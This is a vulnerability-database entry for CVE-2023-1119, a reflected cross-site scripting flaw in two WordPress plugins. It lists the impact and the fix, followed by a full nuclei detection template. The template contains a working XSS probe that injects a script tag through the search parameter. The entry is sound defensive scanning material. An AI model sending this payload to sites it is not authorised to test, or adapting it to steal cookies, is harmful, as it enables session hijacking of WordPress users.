CVE-2023-1119· wordpress / wp-optimize,srbtranslatin· CWE-79
WP-Optimize WordPress plugin < 3.2.13 - Cross-Site Scripting
mediumseverity
6.1CVSS score
1.2%likelihood of exploitation, next 30 days
70%of all CVEs are less likely
Readycheck to confirm it
The WP-Optimize WordPress plugin before 3.2.13 and SrbTransLatin WordPress plugin before 2.4.1 are vulnerable to cross-site scripting due to a third-party library that improperly handles HTML character escaping.
Impact
Unauthenticated attackers can inject malicious JavaScript through search parameters due to improper HTML character escaping in a third-party library, enabling theft of WordPress user session cookies.
Fix
Users are recommended to upgrade WP-Optimize to version 3.2.13 and SrbTransLatin to version 2.4.1 to mitigate the vulnerability.
How to confirm it
Send: GET {{BaseURL}}/
Positive when: contains "/wp-content/plugins/wp-optimize"
Send: GET /?s=<%2Fscript><script>alert%28document.domain%29<%2Fscript>
Positive when: contains "</script><script>alert(document.domain)</script>" and "Search" AND contains "text/html" AND status 200Run it with nuclei: nuclei -id CVE-2023-1119 -u <target>
The full check
id: CVE-2023-1119
info:
name: WP-Optimize WordPress plugin < 3.2.13 - Cross-Site Scripting
author: ritikchaddha
severity: medium
description: |
The WP-Optimize WordPress plugin before 3.2.13 and SrbTransLatin WordPress plugin before 2.4.1 are vulnerable to cross-site scripting due to a third-party library that improperly handles HTML character escaping.
impact: |
Unauthenticated attackers can inject malicious JavaScript through search parameters due to improper HTML character escaping in a third-party library, enabling theft of WordPress user session cookies.
remediation: Users are recommended to upgrade WP-Optimize to version 3.2.13 and SrbTransLatin to version 2.4.1 to mitigate the vulnerability.
reference:
- https://wpscan.com/vulnerability/1119
- https://nvd.nist.gov/vuln/detail/CVE-2023-1119
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2023-1119
cwe-id: CWE-79
epss-score: 0.01244
epss-percentile: 0.69501
cpe: cpe:2.3:a:wp-optimize:wp-optimize:*:*:*:*:*:wordpress:*:*
metadata:
verified: true
max-request: 2
vendor: wordpress
product: wp-optimize,srbtranslatin
fofa-query: body="/wp-content/plugins/wp-optimize"
tags: cve,cve2023,wp,wp-plugin,wordpress,wp-optimize,xss,vkev,vuln
http:
- method: GET
path:
- "{{BaseURL}}/"
matchers:
- type: word
part: body
words:
- "/wp-content/plugins/wp-optimize"
internal: true
- raw:
- |
GET /?s=<%2Fscript><script>alert%28document.domain%29<%2Fscript> HTTP/1.1
Host: {{Hostname}}
matchers-condition: and
matchers:
- type: word
part: body
words:
- "</script><script>alert(document.domain)</script>"
- "Search"
condition: and
- type: word
part: body
words:
- text/html
- type: status
status:
- 200References
Use this check only on systems you are authorised to test. Where the data comes from